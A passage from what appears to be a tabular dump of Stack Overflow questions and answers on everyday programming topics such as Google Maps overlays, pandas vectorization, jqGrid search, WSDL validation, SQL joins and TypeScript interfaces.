&lt;/body&gt; </code></pre> <p></p> <p>As you can see. There is an overlay and thats about it, the rest comes from google maps api. Thanks in advance.</p> <p>So, in the end, very hacky and ugly but here's how I've done it:</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;style type="text/css"&gt; #map { width: 600px; height: 500px; } &lt;/style&gt; &lt;script type="text/javascript" src="http://code.jquery.com/jquery-1.10.2.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; var map; var ol; TestOverlay.prototype = new google.maps.OverlayView(); /** @constructor */ function TestOverlay(map) { this.setMap(map); } /** * onAdd is called when the map's panes are ready and the overlay has been * added to the map. */ TestOverlay.prototype.onAdd = function() { var div = document.createElement('div'); div.id = "dummy"; // Add the element to the "overlayLayer" pane. var panes = this.getPanes(); panes.overlayMouseTarget.appendChild(div); }; TestOverlay.prototype.draw = function() { }; // The onRemove() method will be called automatically from the API if // we ever set the overlay's map property to 'null'. TestOverlay.prototype.onRemove = function() { }; function init() { var mapCenter = new google.maps.LatLng(-35.397, 150.644); map = new google.maps.Map(document.getElementById('map'), { zoom: 8, center: mapCenter }); google.maps.event.addListenerOnce(map, 'idle', function() { var div = document.createElement('div'); div.id = "overlay"; div.className = "gmnoprint"; div.innerHTML = "Yes, the controls go behind me ;)"; div.style = "background-color:white;z-index:100000000000;position:absolute"; $(".gm-style").append(div); }); google.maps.event.addListener(map, 'drag', function() { $("#overlay").css("left", $("#dummy").parent().parent().parent().css("left")) $("#overlay").css("top", $("#dummy").parent().parent().parent().css("top")) }); ol = new TestOverlay(map); } google.maps.event.addDomListener(window, 'load', init); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="map"&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Idea is that the overlay is on same level as the controls and there is a dummy overlay where the overlays are supposed to be. When drag event is fired, I get the coordinates of the dummy div, and put it in my overlay div. Thats about it :) .</p>
32980329	0	Avoiding cPickle in Ipython's parallel <p>I have some code that I have paralleled successfully in the sense that it gets an answer, but it is still kind of slow. Using cProfile.run(), I found that 121 seconds (57% of total time) were spent in cPickle.dumps despite a per call time of .003. I don't use this function anywhere else, so it must be occurring due to ipython's parallel.</p> <p>The way my code works is it does some serial stuff, then runs many simulations in parallel. Then some serial stuff, then a simulation in parallel. It has to repeat this many, many times. Each simulation requires a very large dictionary that I pull in from a module I wrote. I believe this is what is getting pickled many times and slowing the program down.</p> <p>Is there a way to push a large dictionary to the engines in such a way that it stays there permanently? I think it's getting physically pushed every time I call the parallel function.</p>
22260913	0	Is a real-time system sdhedulable? <p>There is a question in my operating systems book about scheduling a system. </p> <p>The question is: A real-time system needs to handle two voice calls that each run every 5 msec and consumes 1 msec of CPU time per burst, plus one video at 25 frames/sec, with each frame requiring 20 msec of CPU time. Is the system schedulable?</p> <p>The solution manual has this answer: Each voice call runs 200 times/second and uses up 1 msec per burst, so each voice call needs 200 msec per second or 400 msec for the two of them. The video runs 25 times a second and uses up 20 msec each time, for a total of 500 msec per second. Together they consume 900</p> <p>The book does not explain how to come to this conclusion, or gives an algorithm. So I was hoping someone could explain how this answer is worked out? </p> <p>Thank you.</p>
10160305	0	 <p>For a project I did once, we used a ruby script to generate an AS file containing references to all classes in a certain package (ensuring that they were included in the compilation). It's really easy considering that flash only allows classes with the same name as the file it's in, so no parsing of actual code needed.</p> <p>It would be trivial to also make that add an entry to a dictionary (or something similar), for a factory class to use later.</p> <p>I believe it's possible to have a program execute before compilation (at least in flashdevelop), so it would not add any manual work.</p> <p>Edit: I added a basic FlashDevelop project to demonstrate. It requires that you have ruby installed. <a href="http://dl.dropbox.com/u/340238/share/AutoGen.zip" rel="nofollow">http://dl.dropbox.com/u/340238/share/AutoGen.zip</a></p>
6699569	0	 <p>If you can get it to run in a browser then something as simple as this would work</p> <pre><code>var webRequest = WebRequest.Create(@"http://webservi.se/year/getCurrentYear"); using (var response = webRequest.GetResponse()) { using (var rd = new StreamReader(response.GetResponseStream())) { var soapResult = rd.ReadToEnd(); } } </code></pre>
28655478	0	Passing the lat, lng information to the google map script <p>I've have an index.html file that includes a gogglemap.js file to display a map of users location. Currently I am attempting to add the proper code to the index.html to pass the lat, lng info to the js file.</p> <p>Here is filler content for the index file to show what I am attempting to do:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;h3&gt;&lt;display user city&gt;&lt;/h3&gt; &lt;---- this needs to display users city and has filler text to show what I am trying to accomplish. &lt;div id="map"&gt;&lt;/div&gt; &lt;script&gt;var lat=12.356;var lng=-19.31;var country="User Country";var city="User City";&lt;/script&gt; &lt;----- seems like it is getting the lat/lng somehow before the index page loads and inserting this script into the index file?</code></pre> </div> </div> </p> <p>Here is the js file code:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var styles = [{yourcustomstyle}] var myLatlng = { lat: lat, lng: lng }; function initialize() { var mapOptions = { zoom: 12, center: myLatlng, styles: styles, panControl: false, zoomControl: false, mapTypeControl: false, scaleControl: false, streetViewControl: false, overviewMapControl: false }; var map = new google.maps.Map( document.getElementById('map'), mapOptions ); for (var a = 0; a &lt; 6; a++) { c = Math.random(); c = c * (0 == 1E6 * c % 2 ? 1 : -1); d = Math.random() d = d * (0 == 1E6 * d % 2 ? 1 : -1); c = new google.maps.LatLng( lat + 0.08 * c + 0.052, lng + 0.2 * d + 0.08), marker = new google.maps.Marker({ map: map, position: c, icon: 'marker.png' }); } } function loadScript() { var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'https://maps.googleapis.com/maps/api/js?v=3.exp&amp;amp;callback=initialize'; document.body.appendChild( script ); } window.onload = loadScript;</code></pre> </div> </div> </p>
34300055	0	 <p>You should not use fixed values for Width and Height. Take a look at the following links: <a href="http://www.informit.com/articles/article.aspx?p=2220312&amp;seqNum=2" rel="nofollow">Arranging UI Elements</a> and <a href="https://msdn.microsoft.com/en-us/library/bb514707(v=vs.90).aspx" rel="nofollow">Layout with Absolute and Dynamic Positioning</a> to have an idea of how positioning works in XAML.</p> <p>I think you created the UI using the designer, that's why you got those values.</p> <p>Following is a simple example where the web view is filling all the space from the page:</p> <p>XAML</p> <pre><code>&lt;Page x:Class="Stack1.MainPage" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="d"&gt; &lt;Grid Background="{ThemeResource ApplicationPageBackgroundThemeBrush}"&gt; &lt;WebView x:Name="WebView" LoadCompleted="WebView_LoadCompleted" Source="https://www.google.com"/&gt; &lt;ProgressRing x:Name="ProgressRing" Foreground="BlueViolet" IsActive="True" Width="100" Height="100" &gt; &lt;/ProgressRing&gt; &lt;/Grid&gt; </code></pre> <p></p> <p>C# code behind</p> <pre><code>public sealed partial class MainPage : Page { public MainPage() { this.InitializeComponent(); } private void WebView_LoadCompleted(object sender, NavigationEventArgs e) { ProgressRing.Visibility = Visibility.Collapsed; } } </code></pre> <p>The ProgressRing will be visible until the web-view content will be loaded (use of LoadCompleted event)</p> <p>Related to Adaptive UI you can take a look at this <a href="https://channel9.msdn.com/Events/Windows/Developers-Guide-to-Windows-10-RTM/Adaptive-UI" rel="nofollow">video</a>.</p>
12748760	0	 <p>To get <strong>just</strong> those records that ARE in Encounter and NOT in EnctrAPR, then just use <code>left outer join</code> instead of <code>full outer join</code>, and add a clause excluding null values for EnctrAPR.EncounterNumber.</p> <p>i.e.</p> <pre><code>SELECT Encounter.EncounterNumber, substring(Encounter.EncounterNumber,4,9) as Acct, ... EnctrAPR.APRDRG, Age18, Age18To64, Age65 from Encounter left outer join EnctrAPR on substring(Encounter.EncounterNumber,4,9) = EnctrAPR.EncounterNumber where EnctrAPR.EncounterNumber is null and HSP# = 1 and InOutCode = 'I' and ActualTotalCharge &gt;0 and AdmitSubService &lt;&gt; 'SIG' and [DischargeDate - CCYYMMDD] between @StartDate and @EndDate and Encounter.Age &gt;= 18 </code></pre> <p>Note though that the value for <code>EnctrAPR.APRDRG</code> will always be null, as EnctrAPR doesn't have a matching row.</p>
26769974	1	vectorize for-loop to fill Pandas DataFrame <p>For a financial application, I'm trying to create a DataFrame where each row is a session date value for a particular equity. To get the data, I'm using <a href="http://pandas.pydata.org/pandas-docs/stable/remote_data.html" rel="nofollow">Pandas Remote Data</a>. So, for example, the features I'm trying to create might be the adjusted closes for the preceding 32 sessions.</p> <p>This is easy to do in a for-loop, but it takes quite a long time for large features sets (like going back to 1960 on "ge" and making each row contain the preceding 256 session values). Does anyone see a good way to vectorize this code?</p> <pre><code>import pandas as pd def featurize(equity_data, n_sessions, col_label='Adj Close'): """ Generate a raw (unnormalized) feature set from the input data. The value at col_label on the given date is taken as a feature, and each row contains values for n_sessions """ features = pd.DataFrame(index=equity_data.index[(n_sessions - 1):], columns=range((-n_sessions + 1), 1)) for i in range(len(features.index)): features.iloc[i, :] = equity_data[i:(n_sessions + i)][col_label].values return features </code></pre> <p>I could alternatively just multi-thread this easily, but I'm guessing that pandas does that automatically if I can vectorize it. I mention that mainly because my primary concern is performance. So, if multi-threading is likely to outperform vectorization in any significant way, then I'd prefer that.</p> <p>Short example of input and output:</p> <p><code>>>> eq_data Open High Low Close Volume Adj Close Date<br> 2014-01-02 15.42 15.45 15.28 15.44 31528500 14.96 2014-01-03 15.52 15.64 15.30 15.51 46122300 15.02 2014-01-06 15.72 15.76 15.52 15.58 42657600 15.09 2014-01-07 15.73 15.74 15.35 15.38 54476300 14.90 2014-01-08 15.60 15.71 15.51 15.54 48448300 15.05 2014-01-09 15.83 16.02 15.77 15.84 67836500 15.34 2014-01-10 16.01 16.11 15.94 16.07 44984000 15.57 2014-01-13 16.37 16.53 16.08 16.11 57566400 15.61 2014-01-14 16.31 16.43 16.17 16.40 44039200 15.89 2014-01-15 16.37 16.73 16.35 16.70 64118200 16.18 2014-01-16 16.67 16.76 16.56 16.73 38410800 16.21 2014-01-17 16.78 16.78 16.45 16.52 37152100 16.00 2014-01-21 16.64 16.68 16.36 16.41 35597200 15.90 2014-01-22 16.44 16.62 16.37 16.55 28741900 16.03 2014-01-23 16.49 16.53 16.31 16.43 37860800 15.92 2014-01-24 16.19 16.21 15.78 15.83 66023500 15.33 2014-01-27 15.90 15.91 15.52 15.71 51218700 15.22 2014-01-28 15.97 16.01 15.51 15.72 57677500 15.23 2014-01-29 15.48 15.53 15.20 15.26 52241500 14.90 2014-01-30 15.43 15.45 15.18 15.25 32654100 14.89 2014-01-31 15.09 15.10 14.90 14.96 64132600 14.61 >>> features = data.featurize(eq_data, 3) >>> features -2 -1 0 Date<br> 2014-01-06 14.96 15.02 15.09 2014-01-07 15.02 15.09 14.9 2014-01-08 15.09 14.9 15.05 2014-01-09 14.9 15.05 15.34 2014-01-10 15.05 15.34 15.57 2014-01-13 15.34 15.57 15.61 2014-01-14 15.57 15.61 15.89 2014-01-15 15.61 15.89 16.18 2014-01-16 15.89 16.18 16.21 2014-01-17 16.18 16.21 16 2014-01-21 16.21 16 15.9 2014-01-22 16 15.9 16.03 2014-01-23 15.9 16.03 15.92 2014-01-24 16.03 15.92 15.33 2014-01-27 15.92 15.33 15.22 2014-01-28 15.33 15.22 15.23 2014-01-29 15.22 15.23 14.9 2014-01-30 15.23 14.9 14.89 2014-01-31 14.9 14.89 14.61 </code></p> <p>So each row of features is a series of 3 (<code>n_sessions</code>) successive values from the 'Adj Close' column of the <code>features</code> DataFrame.</p> <p>====================</p> <p>Improved version based on Primer's answer below:</p> <p><code>def featurize(equity_data, n_sessions, column='Adj Close'): """ Generate a raw (unnormalized) feature set from the input data. The value at <code>column</code> on the given date is taken as a feature, and each row contains values for n_sessions >>> timeit.timeit('data.featurize(data.get("ge", dt.date(1960, 1, 1), dt.date(2014, 12, 31)), 256)', setup=s, number=1) 1.6771750450134277 """ features = pd.DataFrame(index=equity_data.index[(n_sessions - 1):], columns=map(str, range((-n_sessions + 1), 1)), dtype='float64') values = equity_data[column].values for i in range(n_sessions - 1): features.iloc[:, i] = values[i:(-n_sessions + i + 1)] features.iloc[:, n_sessions - 1] = values[(n_sessions - 1):] return features </code></p>
20183039	0	 <p>The ability to take the product of a scalar and an array is a feature of numpy arrays (see <a href="http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html" rel="nofollow">broadcasting</a>) but clearly not of Cython's memoryviews. The way this can be done is by looping over the chunk of memory and multiplying each entry with the desired value. Alternatively, just stick with numpy arrays.</p> <p>Example code: </p> <pre><code>cdef double[:, :] c = np.empty((1, 3)) cdef int i for i in range(3): c[0, i] = a[0, i] * a[0, i] * 0.5 </code></pre>
39006550	0	Google Spreadsheet API update overwrite unspecified value <p>In the Google Spreadsheet API <a href="https://developers.google.com/sheets/reference/rest/v4/spreadsheets.values/update." rel="nofollow">https://developers.google.com/sheets/reference/rest/v4/spreadsheets.values/update.</a>,</p> <p>We can specify a valueRange<a href="https://developers.google.com/sheets/reference/rest/v4/spreadsheets.values/update." rel="nofollow">https://developers.google.com/sheets/reference/rest/v4/spreadsheets.values/update.</a> as the data we want to update</p> <p>Is there a way to overwrite all unspecified cells to empty? For example, if the original first row before updating is: ['1','2','3','4'] . Is there a way to make a request containing ['3'] and update the entire row to: ['3']. In other words, I want to provide absolute overwrite so that I don't need to do a read before update to know which cells I should update to empty</p>
20435152	0	Issue comparing doubles <p>This simple if-comparison is not working, and i'm not sure why.</p> <p>Code:</p> <pre><code>public abstract class Button extends Drawable_object { ... @Override public void update() { super.update(); mouseOver_last = mouseOver; double mx = Game_logic.get_mouse_x(); double my = Game_logic.get_mouse_y(); //the not working statement check: if ((mx &lt;= x + ((double)width / 2))&amp;&amp; (mx &gt;= x - ((double)width / 2))&amp;&amp; (my &gt;= y - ((double)height / 2))&amp;&amp; (my &lt;= y + ((double)height / 2))) { mouseOver = true;} else mouseOver = false; .... } </code></pre> <p>Whilst Game_logic.get_mouse_x() and y are static methods:</p> <pre><code>public class Game_logic { ... public static double get_mouse_x() { return mouse_x; } public static double get_mouse_y() { return mouse_y; } } </code></pre> <p>And those are set by Mouse adapaer in my main run class:</p> <pre><code> public Board() throws IOException, URISyntaxException { ... private class MAdapter2 extends MouseAdapter { @Override public void mouseMoved(MouseEvent e) { Game_logic.set_mouse_x(e.getX()); Game_logic.set_mouse_y(e.getY()); } } </code></pre> <p>The thing is, when I draw on screen x - width / 2, mx and x + width / 2 (same with y), holding mouse at my desired position looks like statement must be true, but <code>mouseOver</code> is still false. How do i fix that?</p>
37552538	0	Android - Sending file over bluetooth <p>I'm developing an Android application sending files from one device to another. Establishing the connection between both devices works perfectly, but there is something going wrong while transferring the file. On the receiving device, the file gets created but unfortunately it's empty.</p> <p>This is my code for handling the incoming file:</p> <pre><code>try { byte[] buffer = new byte[1024]; int bytes = 0; boolean eof = false; File file = new File(Environment.getExternalStoragePublicDirectory( Environment.DIRECTORY_PICTURES), "test.jpg"); OutputStream os = null; try { os = new BufferedOutputStream(new FileOutputStream(file)); } catch (FileNotFoundException e) { e.printStackTrace(); } while (!eof) { bytes = mmInStream.read(buffer); int offset = bytes - 11; byte[] eofByte = new byte[11]; eofByte = Arrays.copyOfRange(buffer, offset, bytes); String message = new String(eofByte, 0, 11); if(message.equals("end of file")) { os.flush(); os.close(); eof = true; } else { os.write (buffer); } } } catch (IOException e) { e.printStackTrace(); } </code></pre>
17340758	0	WSDL soap response validation <p>I have a wsdl that defines a schema with:</p> <pre><code>&lt;xsd:schema elementFormDefault="unqualified" targetNamespace="http://www.xpto.com/xpto"&gt; </code></pre> <p>and the element:</p> <pre><code>&lt;xsd:element name="insertResponse"&gt; &lt;xsd:complexType&gt; &lt;xsd:sequence&gt; &lt;xsd:element maxOccurs="1" minOccurs="1" name="sys_id" type="xsd:string"/&gt; &lt;xsd:element maxOccurs="1" minOccurs="1" name="table" type="xsd:string"/&gt; &lt;xsd:element maxOccurs="1" minOccurs="1" name="display_name" type="xsd:string"/&gt; &lt;xsd:element maxOccurs="1" minOccurs="1" name="display_value" type="xsd:string"/&gt; &lt;xsd:element maxOccurs="1" minOccurs="1" name="status" type="xsd:string"/&gt; &lt;xsd:element maxOccurs="1" minOccurs="0" name="status_message" type="xsd:string"/&gt; &lt;xsd:element maxOccurs="1" minOccurs="0" name="error_message" type="xsd:string"/&gt; &lt;/xsd:sequence&gt; &lt;/xsd:complexType&gt; &lt;/xsd:element&gt; </code></pre> <p>but when i execute the operation and get the response, SoapUI says its invalid:</p> <pre><code>&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt; &lt;SOAP-ENV:Body&gt; &lt;insertResponse xmlns="http://www.xpto.com/xpto"&gt; &lt;sys_id&gt;something&lt;/sys_id&gt; &lt;table&gt;something&lt;/table&gt; &lt;display_name&gt;number&lt;/display_name&gt; &lt;display_value&gt;something&lt;/display_value&gt; &lt;status&gt;something&lt;/status&gt; &lt;/insertResponse&gt; &lt;/SOAP-ENV:Body&gt; &lt;/SOAP-ENV:Envelope&gt; </code></pre> <p>The SoapUI message (with lines wrapped for legibility):</p> <pre><code>line 4: Expected element 'sys_id' instead of 'sys_id@http://www.xpto.com/xpto' here in element insertResponse@http://www.xpto.com/xpto </code></pre> <p>If i change the WSDL to include <code>elementFormDefault="qualified"</code>, in the schema, the same response is valid.</p> <p>Why is this response invalid without <code>elementFormDefault="qualified"</code> and what is the correct way to do it?</p> <p>Also the code generated against this WSDL doesn't like the response either, failing with:</p> <pre><code>Unmarshalling Error: unexpected element (uri:\\"http://www.xpto.com/xpto\\", local:\\"sys_id\\"). Expected elements are &lt;{}table&gt;,&lt;{}display_value&gt;,&lt;{}display_name&gt;, &lt;{}error_message&gt;,&lt;{}sys_id&gt;,&lt;{}status_message&gt;,&lt;{}status&gt; </code></pre> <p>(Again, lines wrapped for legibility.)</p> <p>Using apache-cxf.</p>
21701309	0	 <p>Improve your question , but see below answer for your question</p> <pre><code> NSString *string = @"This is the main stringsss which needs to be searched for some text the texts can be any big. let us see"; if ([string rangeOfString:@"."].location == NSNotFound) { NSLog(@"string does not contains"); } else { NSLog(@"string contains !"); } </code></pre>
12747208	0	 <p>Got a workaround from nboire from play2-elasticsearch project:</p> <p>Download the project from github. Go to project </p> <pre><code>cd module play compile play publish-local </code></pre> <p>Then your other projects will download from your local instead of <a href="http://cleverage.github.com" rel="nofollow">http://cleverage.github.com</a></p>
19396021	0	How to get number FDs occupied by a processes without using losf? <p>I am trying to get number of FDs occupied by my processes , i tried with lsof , unfortunately it is taking too much of time . If there any other way to get this number , i also tried looking at /proc//fd , but didn't find what i am looking for.</p>
15320471	0	 <p>From your stack trace there is a <code>System.InvalidCastException</code></p> <p>It means value of some attribute has incorrect type. Since you are changing only 'tax' attribute, then its type is incorrect. Most probably "tax" is a Money field, so I guess you should assign variable of type <code>decimal</code> to it, not <code>double</code>. Try something like this:</p> <pre><code>decimal Tax = (decimal)((QuoteProduct.BaseAmount - QuoteProduct.ManualDiscountAmount.GetValueOrDefault() - QuoteProduct.VolumeDiscountAmount.GetValueOrDefault()) / 20); </code></pre>
23551264	0	Foreach Object with one element PHP <p>I have an object called <code>$people</code>. It is filled by my database. This object looks like this:</p> <pre><code>Array ( [0] =&gt; stdClass Object ( [id] =&gt; 21 [fname] =&gt; Billy [lname] =&gt; Boemba [email] =&gt; email@example.com [country] =&gt; The Netherlands ) [1] =&gt; stdClass Object ( [id] =&gt; 22 [fname] =&gt; Jill [lname] =&gt; Jimba [email] =&gt; email@example.com [country] =&gt; Austria ) </code></pre> <p>And my foreach like this:</p> <pre><code>foreach($people as $person){ // echo some stuff about the person } </code></pre> <p>All this works, but when I have one record in my database, so <code>$people</code> has only one element, I got a error when I try to use <code>foreach()</code>:<br/> <code>Notice: Trying to get property of non-object</code></p> <p>So how can I use the <code>foreach()</code> function with one element in my object?</p>
13148670	0	 <p>Sorry to answer my own question but almost as soon as I posted, I was able to figure it out. So in case anyone else has a question like mine:</p> <pre><code>ini_set('auto_detect_line_endings', true); // Allows Mage require_once('../../app/Mage.php'); //Initializes Mage Mage::app('default'); deleteCoupon(); function deleteCoupon() { $collection = Mage::getModel('salesrule/rule')-&gt;getCollection()-&gt;load(); foreach($collection as $model) { // Delete all new newsletter sub coupons if ($model-&gt;getName() == 'New newsletter subscriber discount') { //Delete all coupons expiring today // if($model-&gt;getToDate() == date('Y-m-d')){ $model-&gt;delete(); echo "Deleted &lt;br /&gt;"; } else { echo "No coupons found! &lt;br /&gt;"; } } } </code></pre>
13156208	0	jqGrid multiplesearch - How do I add and/or column for each row? <p>I have a jqGrid multiple search dialog as below:</p> <p>(Note the first empty td in each row).</p> <p><img src="https://i.stack.imgur.com/tK6a1.jpg" alt="jqGrid now"></p> <p>What I want is a search grid like this (below), where:</p> <ol> <li>The first td is filled in with "and/or" accordingly.</li> <li>The corresponding search filters are also built that way.</li> </ol> <p><img src="https://i.stack.imgur.com/aHHqo.jpg" alt="jqGrid want"></p> <p>The empty td is there by default, so I assume that this is a standard jqGrid feature that I can turn on, but I can't seem to find it in the docs.</p> <p>My code looks like this:</p> <pre><code>&lt;script type="text/javascript"&gt; $(document).ready(function () { var lastSel; var pageSize = 10; // the initial pageSize $("#grid").jqGrid({ url: '/Ajax/GetJqGridActivities', editurl: '/Ajax/UpdateJqGridActivities', datatype: "json", colNames: [ 'Id', 'Description', 'Progress', 'Actual Start', 'Actual End', 'Status', 'Scheduled Start', 'Scheduled End' ], colModel: [ { name: 'Id', index: 'Id', searchoptions: { sopt: ['eq', 'ne']} }, { name: 'Description', index: 'Description', searchoptions: { sopt: ['eq', 'ne']} }, { name: 'Progress', index: 'Progress', editable: true, searchoptions: { sopt: ['eq', 'ne', "gt", "ge", "lt", "le"]} }, { name: 'ActualStart', index: 'ActualStart', editable: true, searchoptions: { sopt: ['eq', 'ne', "gt", "ge", "lt", "le"]} }, { name: 'ActualEnd', index: 'ActualEnd', editable: true, searchoptions: { sopt: ['eq', 'ne', "gt", "ge", "lt", "le"]} }, { name: 'Status', index: 'Status.Name', editable: true, searchoptions: { sopt: ['eq', 'ne']} }, { name: 'ScheduledStart', index: 'ScheduledStart', searchoptions: { sopt: ['eq', 'ne', "gt", "ge", "lt", "le"]} }, { name: 'ScheduledEnd', index: 'ScheduledEnd', searchoptions: { sopt: ['eq', 'ne', "gt", "ge", "lt", "le"]} } ], jsonReader: { root: 'rows', id: 'Id', repeatitems: false }, rowNum: pageSize, // this is the pageSize rowList: [pageSize, 50, 100], pager: '#pager', sortname: 'Id', autowidth: true, shrinkToFit: false, viewrecords: true, sortorder: "desc", caption: "JSON Example", onSelectRow: function (id) { if (id &amp;&amp; id !== lastSel) { $('#grid').jqGrid('restoreRow', lastSel); $('#grid').jqGrid('editRow', id, true); lastSel = id; } } }); // change the options (called via searchoptions) var updateGroupOpText = function ($form) { $('select.opsel option[value="AND"]', $form[0]).text('and'); $('select.opsel option[value="OR"]', $form[0]).text('or'); $('select.opsel', $form[0]).trigger('change'); }; // $(window).bind('resize', function() { // ("#grid").setGridWidth($(window).width()); //}).trigger('resize'); // paging bar settings (inc. buttons) // and advanced search $("#grid").jqGrid('navGrid', '#pager', { edit: true, add: false, del: false }, // buttons {}, // edit option - these are ordered params! {}, // add options {}, // del options {closeOnEscape: true, multipleSearch: true, closeAfterSearch: true, onInitializeSearch: updateGroupOpText, afterRedraw: updateGroupOpText}, // search options {} ); // TODO: work out how to use global $.ajaxSetup instead $('#grid').ajaxError(function (e, jqxhr, settings, exception) { var str = "Ajax Error!\n\n"; if (jqxhr.status === 0) { str += 'Not connect.\n Verify Network.'; } else if (jqxhr.status == 404) { str += 'Requested page not found. [404]'; } else if (jqxhr.status == 500) { str += 'Internal Server Error [500].'; } else if (exception === 'parsererror') { str += 'Requested JSON parse failed.'; } else if (exception === 'timeout') { str += 'Time out error.'; } else if (exception === 'abort') { str += 'Ajax request aborted.'; } else { str += 'Uncaught Error.\n' + jqxhr.responseText; } alert(str); }); $("#grid").jqGrid('bindKeys'); $("#grid").jqGrid('inlineNav', "#grid"); }); &lt;/script&gt; &lt;table id="grid"/&gt; &lt;div id="pager"/&gt; </code></pre>
7840894	0	 <p>Q_MONKEY_EXPORT is most likely a #define somewhere. Defines like that are sometimes required, for example when the class is in a library and needs to be exported when the header file is included from somewhere else. In that case, the define resolves to something like <code>__declspec(dllexport)</code> (the exact syntax will depend on the tools you are using).</p>
31015598	0	 <p>It seems better to use HashMap's boolean containsKey(Object key) method instead of the direct invocation of equalsIgnore..() in main(). If necessary, you may create your own class implement interface Map, and make it a delegator of its HashMap-typed field for customized management of key comparisons.(You may override equals() and hashCode() for keys. Item 8 and Item 9 in Effective Java 2nd ed. by Josh Bloch will give you detailed guide.)</p>
8998607	0	 <p>Check that the file <code>RuleGradient.scala</code> starts with the line:</p> <pre><code>package org.dynamics </code></pre>
19527990	0	 <p>Try this. I am sure you can do this via a couple JOINs (or at least part of it) but you did not request what your return columns should be</p> <pre><code>SELECT v.visitID FROM Visits AS v WHERE EXISTS(SELECT * FROM VisitDocs AS d WHERE d.VisitID = v.VisitID AND d.docType = 3) AND NOT EXISTS(SELECT * FROM VisitDocs AS d WHERE d.VisitID = v.VisitID AND d.docType Not IN (1,2)) </code></pre>
34602213	0	iOS Facebook Authentication PhoneGap on TestFlight <p>I'm currently testing my app on my iPhone that I built using Phonegap's Adobe Build with Apple's TestFlight application. My app contains Facebook authentication and when I click the authentication button I am presented with the following error:</p> <blockquote> <p>Given URL is not allowed by the Application configuration: One or more of the given URLs is not allowed by the App's settings. It must match the Website URL or Canvas URL, or the domain must be a subdomain of one of the App's domains.</p> </blockquote> <p>I did a bit of research online and I added the iOS Platform along with my Bundle ID in the respective field on facebook's developer panel but that did not appear to fix things.</p>
24205035	0	 <p>As suggested by all above, you can use <code>InetAddress.getByName("hostName")</code> but this can give you a cached IP, Read the java documentation for the same. If you want to get a IP from DNS you can use:</p> <pre><code>InetAddress[] ipAddress = DNSNameService.lookupAllHostAddr("hostName"); </code></pre>
37499538	0	How to write date_query for today, tomorow and next 7 days? <p>So i have a problem with writing <code>data_query</code> to gets post for today, tomorow, and for next 7 days. Any suggestion ?</p> <pre><code>'date_query'=&gt;array('column'=&gt;'post_date','after'=&gt;'Today','before'=&gt;'2 days'); </code></pre>
31712185	0	How to get correct summaries with analytics? <p>I want to get summary numbers from the <code>cust_detail</code> table if a specific <code>invoice_code</code> appears in <code>invoice_detail</code>. </p> <p>In this example, I'd like to report cust_detail summaries only for batches <code>10</code> and <code>20</code> because they are the ones with <code>invoice_code='9999'</code>. But the duplication in the <code>invoice_detail</code> table is skewing my numbers.</p> <pre><code>with invoice_detail as ( select '10' as invoice_batch, '9999' as invoice_code from dual union all select '10' as invoice_batch, '9999' as invoice_code from dual union all select '20' as invoice_batch, '1111' as invoice_code from dual union all select '30' as invoice_batch, '9999' as invoice_code from dual ), cust_detail as ( select '1' as cust_id, '10' as invoice_batch, 40 as points_paid, 30 as points_earned, 30 as points_delivered from dual union all select '1' as cust_id, '20' as invoice_batch, 10 as points_paid, 10 as points_earned, 10 as points_delivered from dual union all select '1' as cust_id, '30' as invoice_batch, 20 as points_paid, 15 as points_earned, 5 as points_delivered from dual ) select cust_id, sum(points_paid) over (partition by c.invoice_batch order by cust_id) batch_total from cust_detail c inner join invoice_detail i on c.invoice_batch=i.invoice_batch where i.invoice_code = '9999'; </code></pre> <p>Desired results:</p> <pre><code> CUST_ID PAID EARNED DELIVERED TOT_PAID TOT_EARNED TOT_DELIVERED --------- ------ -------- ----------- ---------- ------------ --------------- 1 40 30 30 60 45 40 1 20 15 5 60 45 40 </code></pre>
20995086	0	 <p>I've finally found a workaround.</p> <p>In netbeans, I've set the background property of the button to some value (different from the one I want, but different from the default 240,240,240 too).</p> <p>When I run the applet, now I always get what I expect, that is the color set in the code with Nimbus.</p>
37928854	0	 <blockquote> <p>Couldnt we have avoided the former and done the latter instead?</p> </blockquote> <p>Absolutely. In TypeScript, initializers are not a coding preference, they're a way to ensure that your object fulfills the specification defined by the interface. Crucially, if you add a new non-optional property to your square, the <code>let s: Square = {...</code> variant will <a href="http://www.typescriptlang.org/play/#src=interface%20Square%20%7B%0D%0A%20%20%20%20color%3A%20string%3B%0D%0A%20%20%20%20sideLength%3A%20number%3B%0D%0A%09newProperty%3A%20number%3B%20%2F%2F%20%3C--------%0D%0A%7D%0D%0A%0D%0Alet%20square%20%3D%20%3CSquare%3E%7B%7D%3B%0D%0Asquare.color%20%3D%20%22blue%22%3B%0D%0Asquare.sideLength%20%3D%2010%3B%0D%0A%0D%0Alet%20s%3A%20Square%20%3D%20%7B%20sideLength%3A%2023%2C%20color%3A%20&#39;red&#39;%7D%3B" rel="nofollow">blow up as expected</a>, while the other variant (cast and assign) will be silent. (And of course, someone might accidentally remove or forget to add one of the property assignments, which would again introduce an error of the sort that TypeScript is designed to avoid.)</p> <p>Avoid casting whenever possible. Assuming your dependencies aren't circular (seldom the case), you can always re-write code like this to use initializers. If you want to create an object where some properties may be missing, define those properties as optional in the interface by adding a <code>?</code>:</p> <pre><code>interface Triangle { nonOptional: number; optional?: number; } const t: Triangle = {nonOptional: 1}; // no error </code></pre>
